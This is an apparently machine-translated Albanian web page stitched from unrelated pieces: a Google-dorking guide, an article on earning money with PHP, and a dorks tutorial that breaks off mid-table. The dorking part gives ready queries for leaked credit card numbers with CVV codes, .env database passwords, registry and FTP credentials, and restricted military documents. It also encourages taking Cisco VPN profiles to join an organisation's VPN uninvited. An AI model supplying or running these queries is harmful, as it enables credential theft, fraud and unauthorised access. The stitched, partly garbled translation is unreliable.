Inurl php http çfarë fitimesh. Si të fitoni para duke ditur PHP? Si mund të bëjë një programues php para të mira në shtëpi?

Marrja e të dhënave private nuk do të thotë gjithmonë hakerim - ndonjëherë ato publikohen publikisht. Njohja e cilësimeve të Google dhe pak zgjuarsi do t'ju lejojnë të gjeni shumë gjëra interesante - nga numrat e kartave të kreditit deri te dokumentet e FBI-së.

PARALAJMËRIM

I gjithë informacioni jepet vetëm për qëllime informative. As redaktorët dhe as autori nuk janë përgjegjës për ndonjë dëm të mundshëm të shkaktuar nga materialet e këtij artikulli.

Sot, gjithçka është e lidhur me internetin, me pak shqetësim për kufizimin e aksesit. Prandaj, shumë të dhëna private bëhen pre e motorëve të kërkimit. Robotët merimangë nuk janë më të kufizuar në faqet e internetit, por indeksojnë të gjithë përmbajtjen e disponueshme në internet dhe vazhdimisht shtojnë informacione jo publike në bazat e të dhënave të tyre. Zbulimi i këtyre sekreteve është i lehtë - thjesht duhet të dini se si të pyesni për to.

Duke kërkuar për skedarë

Në duar të afta, Google do të gjejë shpejt gjithçka që nuk gjendet në internet, për shembull, informacione personale dhe skedarë për përdorim zyrtar. Ato shpesh fshihen si një çelës nën një qilim: nuk ka kufizime reale të aksesit, të dhënat thjesht qëndrojnë në pjesën e pasme të faqes, ku nuk çojnë asnjë lidhje. Ndërfaqja standarde e uebit e Google ofron vetëm cilësime themelore të kërkimit të avancuar, por edhe këto do të jenë të mjaftueshme.

Ju mund ta kufizoni kërkimin tuaj në Google në një lloj skedari specifik duke përdorur dy operatorë: lloji i skedarit dhe ext . E para specifikon formatin që motori i kërkimit përcaktoi nga titulli i skedarit, i dyti specifikon shtrirjen e skedarit, pavarësisht nga përmbajtja e tij e brendshme. Kur kërkoni në të dyja rastet, duhet vetëm të specifikoni shtrirjen. Fillimisht, operatori ext ishte i përshtatshëm për t'u përdorur në rastet kur skedari nuk kishte karakteristika specifike të formatit (për shembull, për të kërkuar skedarë të konfigurimit ini dhe cfg, të cilat mund të përmbajnë çdo gjë). Tani algoritmet e Google kanë ndryshuar dhe nuk ka asnjë ndryshim të dukshëm midis operatorëve - në shumicën e rasteve rezultatet janë të njëjta.


Filtrimi i rezultateve

Si parazgjedhje, Google kërkon fjalë dhe, në përgjithësi, çdo karakter të futur në të gjithë skedarët në faqet e indeksuara. Mund ta kufizoni zonën e kërkimit sipas domenit të nivelit të lartë, një sajti të caktuar ose sipas vendndodhjes së sekuencës së kërkimit në vetë skedarët. Për dy opsionet e para, përdorni operatorin e faqes, i ndjekur nga emri i domenit ose faqes së zgjedhur. Në rastin e tretë, një grup i tërë operatorësh ju lejon të kërkoni informacion në fushat e shërbimit dhe metadatat. Për shembull, allinurl do ta gjejë atë të dhënë në trupin e vetë lidhjeve, allinanchor - në tekstin e pajisur me etiketën , allintitle - në titujt e faqeve, allintext - në trupin e faqeve.

Për secilin operator ekziston një version i lehtë me një emër më të shkurtër (pa prefiksin të gjithë). Dallimi është se allinurl do të gjejë lidhje me të gjitha fjalët, dhe inurl do të gjejë lidhje vetëm me të parën prej tyre. Fjalët e dyta dhe të mëvonshme nga pyetja mund të shfaqen kudo në faqet e internetit. Operatori inurl gjithashtu ndryshon nga një operator tjetër me një kuptim të ngjashëm - faqe. E para gjithashtu ju lejon të gjeni çdo sekuencë karakteresh në një lidhje me dokumentin e kërkuar (për shembull, /cgi-bin/), i cili përdoret gjerësisht për të gjetur komponentë me dobësi të njohura.

Le ta provojmë në praktikë. Ne marrim filtrin allintext dhe bëjmë që kërkesa të prodhojë një listë me numra dhe kode verifikimi të kartave të kreditit që do të skadojnë vetëm pas dy vjetësh (ose kur pronarët e tyre të lodhen duke ushqyer të gjithë).

Allintext: data e skadimit të numrit të kartës /2017 cvv

Kur lexon në lajme se një haker i ri “hakoi në serverët” e Pentagonit apo NASA-s, duke vjedhur informacione të klasifikuara, në shumicën e rasteve bëhet fjalë për këtë teknikë shumë elementare të përdorimit të Google. Le të themi se jemi të interesuar për një listë të punonjësve të NASA-s dhe informacionin e kontaktit të tyre. Sigurisht që një listë e tillë është e disponueshme në formë elektronike. Për lehtësi ose për shkak të mbikëqyrjes, mund të jetë edhe në faqen e internetit të vetë organizatës. Është logjike që në këtë rast nuk do të ketë lidhje me të, pasi është menduar për përdorim të brendshëm. Cilat fjalë mund të jenë në një skedar të tillë? Së paku - fusha "adresa". Testimi i të gjitha këtyre supozimeve është i lehtë.


Inurl:nasa.gov lloji i skedarit:xlsx "adresa"


Ne përdorim burokracinë

Gjetjet si kjo janë një prekje e këndshme. Një kapje vërtet e fortë ofron një njohuri më të detajuar të operatorëve të Google për webmasterët, vetë Rrjetit dhe veçoritë e strukturës së asaj që kërkohet. Duke ditur detajet, ju lehtë mund të filtroni rezultatet dhe të përsosni vetitë e skedarëve të nevojshëm në mënyrë që të merrni të dhëna vërtet të vlefshme në pjesën tjetër. Është për të qeshur që burokracia vjen në shpëtim këtu. Ai prodhon formulime standarde që janë të përshtatshme për të kërkuar informacione sekrete të rrjedhura aksidentalisht në internet.

Për shembull, vula e deklaratës së shpërndarjes, e detyrueshme në zyrën e Departamentit të Mbrojtjes të SHBA-së, nënkupton kufizime të standardizuara në shpërndarjen e dokumentit. Shkronja A tregon publikimet publike në të cilat nuk ka asgjë sekrete; B - i destinuar vetëm për përdorim të brendshëm, C - rreptësisht konfidencial, e kështu me radhë derisa F. Shquhet veçmas shkronja X, e cila shënon një informacion veçanërisht të vlefshëm që përfaqëson një sekret shtetëror të nivelit më të lartë. Le të kërkojnë dokumente të tilla ata që supozohet ta bëjnë këtë në detyrë dhe ne do të kufizohemi në dosjet me shkronjën C. Sipas direktivës DoDI 5230.24, kjo shenjë u caktohet dokumenteve që përmbajnë një përshkrim të teknologjive kritike që bien nën kontrollin e eksportit . Një informacion i tillë i mbrojtur me kujdes mund të gjendet në faqet në domain.mil të nivelit të lartë, të ndara për ushtrinë amerikane.

"DEKLARATA E SHPËRNDARJES C" inurl:navy.mil

Është shumë e përshtatshme që domeni .mil të përmbajë vetëm faqe nga Departamenti i Mbrojtjes i SHBA-së dhe organizatat e tij kontraktuale. Rezultatet e kërkimit me një kufizim domeni rezultojnë të jenë jashtëzakonisht të pastra dhe titujt flasin vetë. Kërkimi i sekreteve ruse në këtë mënyrë është praktikisht i padobishëm: kaos mbretëron në domains.ru dhe.rf, dhe emrat e shumë sistemeve të armëve tingëllojnë si ato botanike (PP "Kiparis", armë vetëlëvizëse "Akatsia") apo edhe përrallore ( TOS “Buratino”).


Duke studiuar me kujdes çdo dokument nga një sajt në domenin .mil, mund të shihni shënues të tjerë për të përmirësuar kërkimin tuaj. Për shembull, një referencë për kufizimet e eksportit "Sec 2751", e cila është gjithashtu e përshtatshme për të kërkuar informacione teknike interesante. Herë pas here hiqet nga faqet zyrtare ku është shfaqur dikur, kështu që nëse nuk mund të ndiqni një lidhje interesante në rezultatet e kërkimit, përdorni cache-in e Google (operatorin e memorjes së fshehtë) ose faqen e Arkivit të Internetit.

Duke u ngjitur në retë

Përveç dokumenteve qeveritare të deklasifikuara aksidentalisht, lidhjet me skedarët personalë nga Dropbox dhe shërbime të tjera të ruajtjes së të dhënave që krijojnë lidhje "private" me të dhënat e publikuara publikisht shfaqen herë pas here në memorien e Google. Është edhe më keq me shërbimet alternative dhe të bëra vetë. Për shembull, pyetja e mëposhtme gjen të dhëna për të gjithë klientët e Verizon që kanë të instaluar një server FTP dhe përdorin në mënyrë aktive ruterin e tyre.

Allinurl:ftp://verizon.net

Tani ka më shumë se dyzet mijë njerëz të tillë të zgjuar, dhe në pranverën e 2015 kishte shumë më tepër prej tyre. Në vend të Verizon.net, mund të zëvendësoni emrin e çdo ofruesi të mirënjohur, dhe sa më i famshëm të jetë, aq më i madh mund të jetë kapja. Nëpërmjet serverit të integruar FTP, mund të shihni skedarë në një pajisje ruajtëse të jashtme të lidhur me ruterin. Zakonisht ky është një NAS për punë në distancë, një re personale ose një lloj shkarkimi skedarësh nga kolegët. Të gjitha përmbajtjet e mediave të tilla indeksohen nga Google dhe motorë të tjerë kërkimi, kështu që ju mund të përdorni skedarët e ruajtur në disqet e jashtme nëpërmjet një lidhjeje të drejtpërdrejtë.

Duke parë konfigurimet

Para migrimit të gjerë në cloud, serverët e thjeshtë FTP sundonin si ruajtje në distancë, të cilat gjithashtu kishin shumë dobësi. Shumë prej tyre janë ende të rëndësishme sot. Për shembull, programi i njohur WS_FTP Professional ruan të dhënat e konfigurimit, llogaritë e përdoruesve dhe fjalëkalimet në skedarin ws_ftp.ini. Është e lehtë për t'u gjetur dhe lexuar, pasi të gjitha regjistrimet ruhen në format teksti dhe fjalëkalimet janë të koduara me algoritmin Triple DES pas errësimit minimal. Në shumicën e versioneve, thjesht heqja e bajtit të parë është e mjaftueshme.

Është e lehtë të deshifrosh fjalëkalime të tilla duke përdorur mjetin WS_FTP Password Decryptor ose një shërbim falas në internet.

Kur flasim për hakimin e një faqe interneti arbitrare, ato zakonisht nënkuptojnë marrjen e një fjalëkalimi nga regjistrat dhe kopjet rezervë të skedarëve të konfigurimit të CMS ose aplikacioneve të tregtisë elektronike. Nëse e dini strukturën e tyre tipike, mund të tregoni lehtësisht fjalët kyçe. Linjat si ato që gjenden në ws_ftp.ini janë jashtëzakonisht të zakonshme. Për shembull, në Drupal dhe PrestaShop ka gjithmonë një identifikues përdoruesi (UID) dhe një fjalëkalim përkatës (pwd), dhe të gjitha informacionet ruhen në skedarë me shtesën .inc. Ju mund t'i kërkoni ato si më poshtë:

"pwd=" "UID=" ext:inc

Zbulimi i fjalëkalimeve të DBMS

Në skedarët e konfigurimit të serverëve SQL, emrat e përdoruesve dhe adresat e postës elektronike ruhen në tekst të qartë dhe haset e tyre MD5 shkruhen në vend të fjalëkalimeve. Me fjalë të rrepta, është e pamundur t'i deshifrosh ato, por mund të gjesh një përputhje midis çifteve të njohura hash-password.

Ka ende DBMS që nuk përdorin as hashimin e fjalëkalimeve. Skedarët e konfigurimit të secilit prej tyre thjesht mund të shikohen në shfletues.

Inteksti:DB_PASSWORD lloji i skedarit: env

Me ardhjen e serverëve Windows, vendi i skedarëve të konfigurimit u zu pjesërisht nga regjistri. Ju mund të kërkoni nëpër degët e tij në të njëjtën mënyrë, duke përdorur reg si lloj skedari. Për shembull, si kjo:

Lloji i skedarit:reg HKEY_CURRENT_USER "Fjalëkalimi"=

Të mos harrojmë të dukshmen

Ndonjëherë është e mundur të arrihet tek informacioni i klasifikuar duke përdorur të dhëna që janë hapur aksidentalisht dhe kanë rënë në vëmendjen e Google. Opsioni ideal është të gjeni një listë të fjalëkalimeve në një format të zakonshëm. Vetëm njerëzit e dëshpëruar mund të ruajnë informacionin e llogarisë në një skedar teksti, dokument Word ose spreadsheet Excel, por gjithmonë ka mjaft prej tyre.

Lloji i skedarit:xls inurl:fjalëkalimi

Nga njëra anë, ka shumë mjete për të parandaluar incidente të tilla. Është e nevojshme të specifikoni të drejtat adekuate të aksesit në htaccess, të rregulloni CMS-në, të mos përdorni skripta të majtë dhe të mbyllni vrima të tjera. Ekziston gjithashtu një skedar me një listë përjashtimesh robots.txt që i ndalon motorët e kërkimit të indeksojnë skedarët dhe drejtoritë e specifikuara në të. Nga ana tjetër, nëse struktura e robots.txt në ndonjë server ndryshon nga ajo standarde, atëherë menjëherë bëhet e qartë se çfarë po përpiqen të fshehin në të.

Lista e drejtorive dhe skedarëve në çdo sajt paraprihet nga indeksi standard i. Meqenëse për qëllime shërbimi duhet të shfaqet në titull, ka kuptim që kërkimi i tij të kufizohet në operatorin e titullit. Gjëra interesante janë në drejtoritë /admin/, /personal/, /etc/ madje edhe /secret/.

Qëndroni të sintonizuar për përditësime

Rëndësia është jashtëzakonisht e rëndësishme këtu: dobësitë e vjetra mbyllen shumë ngadalë, por Google dhe rezultatet e kërkimit të tij po ndryshojnë vazhdimisht. Madje ka një ndryshim midis një filtri "sekondën e fundit" (&tbs=qdr:s në fund të URL-së së kërkesës) dhe një filtri "në kohë reale" (&tbs=qdr:1).

Intervali kohor i datës së përditësimit të fundit të skedarit tregohet gjithashtu në mënyrë implicite nga Google. Nëpërmjet ndërfaqes grafike të ueb-it, mund të zgjidhni një nga periudhat standarde (orë, ditë, javë, etj.) ose të vendosni një interval datash, por kjo metodë nuk është e përshtatshme për automatizim.

Nga pamja e shiritit të adresave, mund të merrni me mend vetëm një mënyrë për të kufizuar daljen e rezultateve duke përdorur ndërtimin &tbs=qdr:. Shkronja y pasi vendos kufirin e një viti (&tbs=qdr:y), m tregon rezultatet për muajin e fundit, w - për javën, d - për ditën e kaluar, h - për orën e fundit, n - për minutë, dhe s - për më jep një sekondë. Rezultatet më të fundit që Google sapo ka bërë të njohura janë gjetur duke përdorur filtrin &tbs=qdr:1 .

Nëse keni nevojë të shkruani një skenar të zgjuar, do të jetë e dobishme të dini se diapazoni i datave është vendosur në Google në formatin Julian duke përdorur operatorin datarange. Për shembull, kështu mund të gjeni një listë të dokumenteve PDF me fjalën konfidenciale, të shkarkuar nga 1 janari deri më 1 korrik 2015.

Lloji i skedarit konfidencial: pdf datarange:2457024-2457205

Gama tregohet në formatin e datës Julian pa marrë parasysh pjesën e pjesshme. Përkthimi i tyre me dorë nga kalendari Gregorian është i papërshtatshëm. Është më e lehtë të përdorësh një konvertues datash.

Synimi dhe filtrimi përsëri

Përveç specifikimit të operatorëve shtesë në pyetjen e kërkimit, ata mund të dërgohen drejtpërdrejt në trupin e lidhjes. Për shembull, specifikimi filetype:pdf korrespondon me konstruksionin as_filetype=pdf. Kjo e bën të përshtatshëm për të kërkuar ndonjë sqarim. Le të themi se dalja e rezultateve vetëm nga Republika e Hondurasit specifikohet duke shtuar konstruksionin cr=countryHN në URL-në e kërkimit, dhe vetëm nga qyteti i Bobruisk - gcs=Bobruisk. Ju mund të gjeni një listë të plotë në seksionin e zhvilluesve.

Mjetet e automatizimit të Google janë krijuar për ta bërë jetën më të lehtë, por ato shpesh shtojnë probleme. Për shembull, qyteti i përdoruesit përcaktohet nga IP-ja e përdoruesit përmes WHOIS. Bazuar në këtë informacion, Google jo vetëm që balancon ngarkesën midis serverëve, por gjithashtu ndryshon rezultatet e kërkimit. Në varësi të rajonit, për të njëjtën kërkesë, në faqen e parë do të shfaqen rezultate të ndryshme dhe disa prej tyre mund të jenë plotësisht të fshehura. Kodi me dy shkronja pas direktivës gl=country do t'ju ndihmojë të ndiheni si një kozmopolit dhe të kërkoni informacione nga çdo vend. Për shembull, kodi i Holandës është NL, por Vatikani dhe Koreja e Veriut nuk kanë kodin e tyre në Google.

Shpesh, rezultatet e kërkimit përfundojnë të rrëmujshme edhe pas përdorimit të disa filtrave të avancuar. Në këtë rast, është e lehtë të sqarohet kërkesa duke shtuar disa fjalë përjashtimore në të (një shenjë minus vendoset përpara secilës prej tyre). Për shembull, bankat, emrat dhe tutoriali përdoren shpesh me fjalën Personal. Prandaj, rezultatet më të pastra të kërkimit do të shfaqen jo nga një shembull i një teksti shkollor të një pyetjeje, por nga një i rafinuar:

Titulli:"Indeksi i /Personal/" -emrat -tutorial -bankare

Një shembull i fundit

Një haker i sofistikuar dallohet nga fakti se i siguron vetes gjithçka që i nevojitet vetë. Për shembull, VPN është një gjë e përshtatshme, por ose e shtrenjtë, ose e përkohshme dhe me kufizime. Regjistrimi për një abonim për veten tuaj është shumë i shtrenjtë. Është mirë që ka abonime në grup dhe me ndihmën e Google është e lehtë të bëhesh pjesë e një grupi. Për ta bërë këtë, thjesht gjeni skedarin e konfigurimit të Cisco VPN, i cili ka një shtrirje PCF mjaft jo standarde dhe një shteg të njohur: Program Files\Cisco Systems\VPN Client\Profiles. Një kërkesë dhe ju bashkoheni, për shembull, në ekipin miqësor të Universitetit të Bonit.

Lloji i skedarit: pcf vpn OSE Grupi

INFO

Google gjen skedarë të konfigurimit të fjalëkalimit, por shumë prej tyre janë të koduar ose zëvendësuar me hash. Nëse shihni vargje me një gjatësi fikse, atëherë kërkoni menjëherë një shërbim deshifrimi.

Fjalëkalimet ruhen të enkriptuara, por Maurice Massard ka shkruar tashmë një program për t'i deshifruar ato dhe e ofron atë falas përmes thecampusgeeks.com.

Google kryen qindra lloje të ndryshme sulmesh dhe teste depërtimi. Ka shumë opsione që prekin programet e njohura, formatet kryesore të bazës së të dhënave, dobësitë e shumta të PHP, retë, e kështu me radhë. Njohja e saktë e asaj që po kërkoni do ta bëjë shumë më të lehtë gjetjen e informacionit që ju nevojitet (veçanërisht informacionin që nuk keni ndërmend t'i bëni publike). Shodan nuk është i vetmi që ushqehet me ide interesante, por çdo bazë të dhënash të burimeve të rrjetit të indeksuar!

Nga autori: Përshëndetje miq! Në këtë artikull do të flasim për gjuhën e programimit PHP. Le të zbulojmë se për çfarë përdoret, çfarë mund të bëni me të dhe çfarë vendi zë në fazat e zhvillimit të faqes në internet. Gjithashtu në këtë artikull do të shikojmë shumë mënyra për të fituar para duke ditur se si të programoni në PHP.

Çfarë është PHP dhe për çfarë shërben?

PHP është një gjuhë skriptimi që përdoret në mënyrë shumë aktive në zhvillimin e aplikacioneve në internet. PHP është një nga gjuhët kryesore që përdoret në zhvillimin e faqeve dinamike të internetit.

PHP është një gjuhë programimi nga ana e serverit. Të gjitha skriptet e shkruara në këtë gjuhë ekzekutohen në server me sitin. Për të studiuar PHP, për të zhvilluar dhe korrigjuar faqet e internetit dhe skriptet, natyrisht, nuk keni nevojë të blini një server të vërtetë në internet. Për këto qëllime përdoren emulatorët e serverëve, të cilët në formën e programeve thjesht instalohen në një kompjuter pune. Dhe në një server në internet (hosting) vendosen faqe interneti dhe faqe të gatshme me skripta PHP. Nga rruga, pothuajse i gjithë hosti modern mbështet gjuhën PHP.

Popullariteti i kësaj gjuhe në fushën e zhvillimit të faqes në internet përcaktohet nga prania e një grupi të madh mjetesh të integruara për zhvillimin e aplikacioneve në internet. Ato kryesore:

nxjerrja automatike e parametrave POST dhe GET, si dhe variablat e mjedisit të serverit në ueb në vargje të paracaktuara;

ndërveprim me një numër të madh sistemesh të ndryshme të menaxhimit të bazës së të dhënave (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape dhe Apache Derby, Informix, Ovrimos SQL, Shënime , DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO Interface);

dërgimi i automatizuar i titujve HTTP;

duke punuar me cookies dhe sesione;

duke punuar me skedarë lokalë dhe të largët, priza;

përpunimi i skedarëve të ngarkuar në server;

duke punuar me XForms.

Le të shohim një shembull ku skripti PHP funksionon në faqe. Merrni, për shembull, formularin e abonimit në të cilin shkruani emrin dhe emailin tuaj në shumë sajte. HTML dhe CSS janë përgjegjëse për paraqitjen e formularit - ngjyrat e fushave dhe butonave të hyrjes, ndryshimi i ngjyrës së butonit kur qëndroni pezull dhe klikoni mbi të, etj. Duke përdorur HTML5, mund të kontrolloni korrektësinë e të dhënave të futura në formular - për shembull, nëse fushat e postës elektronike ose të telefonit janë plotësuar saktë.

Dhe pasi të klikoni butonin "Subscribe", thirret një script PHP, i cili merr të dhënat që keni futur në formular. Skripti i regjistron ato në bazën e të dhënave, gjeneron dhe ju dërgon një lidhje për të konfirmuar abonimin tuaj në emailin e specifikuar në formular, kontrollon konfirmimin e abonimit dhe ju dërgon emaile të mëvonshme. Të gjitha këto operacione kryhen në server, dhe kjo bëhet duke përdorur gjuhën e programimit PHP.

Aplikimi i PHP në zhvillimin e faqeve të internetit

Për të krijuar një faqe interneti, duhet të kaloni nëpër disa faza:

Planifikimi. Në këtë fazë, ne po planifikojmë faqen e ardhshme: për kë dhe pse po e bëjmë atë, kush do ta vizitojë sitin, me çfarë ta plotësojmë, çfarë duhet të jetë në sit etj.

Dizajn. Në fazën e projektimit, ne krijojmë pamjen e faqeve të faqes në një redaktues grafik.

Paraqitja. Në fazën e paraqitjes, duke përdorur HTML dhe CSS, ne krijojmë faqet HTML të faqes së ardhshme nga paraqitjet e marra në fazën e projektimit.

Programimi. Në fazën e programimit, ne automatizojmë proceset e punës me sitin. Ne programojmë pjesën administrative të faqes (panelin e administratorit) në mënyrë që të mund të shtoni, fshini, modifikoni faqet ekzistuese edhe për një person plotësisht të panjohur me ndërtimin e faqes në internet. Ne programojmë në mënyrë që kërkimi dhe të gjitha format e abonimit (nëse ka) në sit të funksionojnë. Sigurohemi që faqja e shtuar rishtazi të shfaqet në sit dhe një lidhje me faqen e krijuar shfaqet automatikisht në meny. Nëse faqja përdor votim ose anketë, atëherë e gjithë kjo është e programuar në PHP, në fazën e programimit.

Nëse marrim parasysh fazën e programimit të një siti më të madh, për shembull, një dyqan në internet, atëherë gjithçka këtu është edhe më e gjerë dhe më interesante. Në këtë rast, ne shtojmë jo vetëm faqe, por edhe produkte - përmbajtjen kryesore të dyqanit online. Për më tepër, në panelin e administratorit duhet të jepni një ndarje të produkteve të shtuara në kategori të ndryshme. Gjithashtu duhet të jetë i mundur modifikimi i produktit, ndryshimi i përshkrimit, çmimit, fotografisë, etj.

Përveç kësaj, një dyqan online kërkon programimin e një sistemi analitik - në mënyrë që të mund të shihni në panelin e administratorit sa porosi janë bërë dhe paguar, për çfarë shume dhe cilat produkte janë paguar nga cilat kategori, etj. Për më tepër, duhet të jetë e mundur të shfaqen raporte të tilla për periudha të ndryshme. Kur programoni një dyqan online, shpesh zbatohet edhe raportimi i shitjeve për qëllime kontabiliteti dhe tatimor.

Kjo është arsyeja pse faza në të cilën përdoret gjuha e programimit PHP është më e rëndësishmja, më e gjata për sa i përket kohës dhe më e shtrenjta dhe më e paguara në zhvillimin e faqeve të internetit. Dhe pasi të kuptoni se si të programoni një dyqan online, do të jeni në gjendje të krijoni skripta për një faqe interneti pothuajse të çdo kompleksiteti.

Popullariteti i PHP

Popullariteti i PHP-së dëshmohet nga fakti se ai përdoret nga 83.1% e të gjitha faqeve ku ishte e mundur të identifikohej një gjuhë programimi nga ana e serverit.

Të gjitha CMS-të më të njohura që zënë vendet e para në vlerësimet e popullaritetit (si me pagesë ashtu edhe falas: WordPress, Joomla, Drupal, Modx, Bitrix. Magento, etj.) janë shkruar në gjuhën e programimit PHP.

Po ashtu, popullariteti i gjuhës së programimit PHP dëshmohet nga kornizat e shumta të krijuara PHP, si Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 dhe të tjerë. Ka një numër të madh forumesh dhe komunitetesh të mëdha - për PHP në përgjithësi, për secilën kornizë dhe për çdo CMS veç e veç.
Do të shtoj gjithashtu se faqet më të mëdha në botë, për shembull, Facebook, Wikipedia, janë gjithashtu të shkruara në PHP.

Si mund të fitoni para me njohuri të PHP?

Duke pasur parasysh popullaritetin e PHP, ka një kërkesë të lartë të vazhdueshme për programuesit PHP. Njohja e PHP dhe aftësia për të programuar në këtë gjuhë do të hapë mundësi të reja për të fituar para. Le të shohim ato kryesore me të cilat mund të fitoni vërtet para sot:

Fitimi i parave duke zhvilluar skripta. Të gjitha faqet janë në zhvillim të vazhdueshëm dhe kërkojnë periodikisht shkrimin e skripteve të reja, ose zhvillimin e funksioneve shtesë, moduleve, etj. Për zhvillime të tilla, pronarët e faqeve u drejtohen zhvilluesve të PHP. Për më tepër, në këtë rast mund të fitoni para në dy mënyra:

gjurmoni porositë për të gjetur një zhvillues të pavarur;

gjenerojnë ide për skriptet masive. Duke pasur një ide për një skenar që patjetër do të jetë në kërkesë midis, për shembull, pronarëve të dyqaneve në internet, ju mund të zhvilloni në mënyrë të pavarur një skenar të tillë dhe t'ia shisni pronarëve të dyqaneve në internet;

Finalizimi i skripteve të gatshme "me porosi". Gjithçka është e thjeshtë këtu - ju merrni përsipër modifikimin ose korrigjimin e një skenari. Por në këtë rast ka një nuancë - fillimisht skenari mund të mos jetë bërë shumë mirë dhe përsosja e tij mund të marrë më shumë kohë sesa të shkruhet një skenar nga e para. Prandaj, nëse përdorni këtë metodë për të fituar para, fillimisht shikoni me shumë kujdes se çfarë do të modifikoni dhe plotësoni.

Zhvillimi i shtojcave për CMS. Në këtë metodë, gjithçka është e njëjtë si kur fitoni para nga skriptet. Shpesh, faqet e internetit të krijuara në CMS të gatshme kërkojnë të shkruajnë një lloj shtojce, shtesë ose shtesë. Dhe këtu mund të fitoni para në dy mënyra:

gjurmoni porositë për zhvillimin e shtojcave, shtesave dhe shtesave në baza të pavarura;

zhvilloni dhe shisni një shtojcë masive që patjetër do të jetë në kërkesë në shumicën e faqeve;

Projektet e veta dhe të përbashkëta. Nëse keni një ide për një projekt në internet (startup), për shembull, një ide për një shërbim ose aplikacion të dobishëm që do të zgjidhte një problem specifik, atëherë mund të filloni ta zbatoni atë. Në fazën fillestare, mund të jetë edhe vetëm si hobi, përveç punës suaj kryesore. Pastaj, kur të jetë e qartë se hobi po rritet në një projekt të madh, do të jetë e mundur t'i kushtohet më shumë kohë.

Krijimi i faqeve dinamike të internetit dhe motorëve për ta. Ju gjithashtu mund të fitoni para të mira duke zhvilluar faqe interneti me porosi, duke punuar si freelancer ose në një studio në internet.

Krijimi i faqeve të internetit për veten tuaj. Ju mund të krijoni një faqe interneti për veten tuaj, ta mbushni atë me përmbajtje të dobishme - dhe kur faqja ka një numër të mjaftueshëm vizitorësh, filloni të fitoni para duke vendosur reklama me pagesë në të ose duke promovuar produktet e dikujt përmes programeve të filialeve.

Unë mendoj se shumë prej jush kanë menduar se të gjitha metodat e mësipërme për të fituar para mund të kombinohen. Dhe është e drejtë! Mund të krijoni një faqe interneti për veten tuaj dhe të fitoni para në mënyrë pasive duke shitur reklama prej saj, plus të krijoni një skript ose shtojcë dhe ta shisni atë në sajte të specializuara, duke fituar para në autopilot nga çdo shitje dhe në të njëjtën kohë mund të punoni ende në ueb studio. Pse jo? Natyrisht ju mund të!

Sa mund të fitojë një zhvillues PHP?

Me fitimet e programuesve PHP, gjithçka është individuale. Shumë këtu varet nga vendi ku të punohet, si të punohet, çfarë niveli njohurish, çfarë eksperience, kualifikimesh, çfarë njohurish shtesë të lidhura ka zhvilluesi, e kështu me radhë. Prandaj, në parim, këtu nuk mund të ketë ndonjë shifër të saktë. Por ne mund të shohim se çfarë pagash ofrohen kur kërkojmë programues PHP në një studio në internet dhe sa janë të gatshëm të paguajnë për një projekt në shkëmbimet e pavarura.

Imazhi më poshtë tregon pagën e propozuar për programuesit PHP në një studio në internet. Për më tepër, kjo është paga për programuesit PHP pa përvojë pune:

Nëse keni përvojë pune, mund të fitoni shumë më tepër. Më poshtë janë pagat e ofruara për programuesit me përvojë të PHP.

Dhe sot ju gjithashtu mund të fitoni para të mira nga profesioni i pavarur:

konkluzioni

PHP është gjuha më e njohur e programimit në mesin e zhvilluesve të uebit. Shumica dërrmuese e të gjitha faqeve të internetit në internet janë të shkruara në PHP. Duke pasur njohuri dhe aftësi për t'u zhvilluar në këtë gjuhë programimi, ju mund të fitoni para të mira, dhe ka shumë mundësi për të fituar para - nga puna në një studio në internet deri te zhvillimi i projektit ose startup-it tuaj.

Çdo kërkim për dobësi në burimet e internetit fillon me zbulimin dhe mbledhjen e informacionit.
Inteligjenca mund të jetë ose aktive - forca brutale e skedarëve dhe drejtorive të faqes, ekzekutimi i skanerëve të cenueshmërisë, shfletimi manual i faqes, ose pasiv - kërkimi i informacionit në motorë të ndryshëm kërkimi. Ndonjëherë ndodh që një dobësi të bëhet e njohur edhe para hapjes së faqes së parë të faqes.

Si është e mundur kjo?
Robotët e kërkimit, duke bredhur vazhdimisht në internet, përveç informacioneve të dobishme për përdoruesin mesatar, shpesh regjistrojnë gjëra që mund të përdoren nga sulmuesit për të sulmuar një burim ueb. Për shembull, gabimet e skriptit dhe skedarët me informacione të ndjeshme (nga skedarët e konfigurimit dhe regjistrat tek skedarët me të dhëna vërtetimi dhe kopje rezervë të bazës së të dhënave).
Nga pikëpamja e një roboti kërkimi, një mesazh gabimi në lidhje me ekzekutimin e një pyetjeje sql është tekst i thjeshtë, i pandashëm, për shembull, nga përshkrimi i produkteve në faqe. Nëse papritmas një robot kërkuesi has në një skedar me shtesën .sql, i cili për ndonjë arsye përfundoi në dosjen e punës së faqes, atëherë ai do të perceptohet si pjesë e përmbajtjes së faqes dhe gjithashtu do të indeksohet (duke përfshirë, ndoshta, fjalëkalimet të specifikuara në të).

Një informacion i tillë mund të gjendet duke ditur fjalë kyçe të forta, shpesh unike, që ndihmojnë në ndarjen e "faqeve të cenueshme" nga faqet që nuk përmbajnë dobësi.
Një bazë e madhe e të dhënave të pyetjeve të veçanta duke përdorur fjalë kyçe (të ashtuquajturat dorks) ekziston në exploit-db.com dhe njihet si Google Hack Database.

Pse google?
Dorks janë synuar kryesisht nga Google për dy arsye:
− sintaksa më fleksibël e fjalëve kyçe (treguar në tabelën 1) dhe karaktereve speciale (treguar në tabelën 2);
− indeksi i Google është akoma më i plotë se ai i motorëve të tjerë të kërkimit;

Tabela 1 - Fjalë kyçe kryesore të Google

Fjalë kyçe
Kuptimi
Shembull
faqe
Kërkoni vetëm në faqen e specifikuar. Merr parasysh vetëm url
site:somesite.ru - do të gjejë të gjitha faqet në një domen të caktuar dhe nënfushat
inurl
Kërkoni me fjalë të pranishme në uri. Ndryshe nga kl. fjalët "faqe", kërkon përputhje pas emrit të sajtit
inurl:news - gjen të gjitha faqet ku fjala e dhënë shfaqet në uri
teksti
Kërkoni në trupin e faqes
intext:"bllokim trafiku" - plotësisht i ngjashëm me kërkesën e zakonshme për "bllokim trafiku"
titull
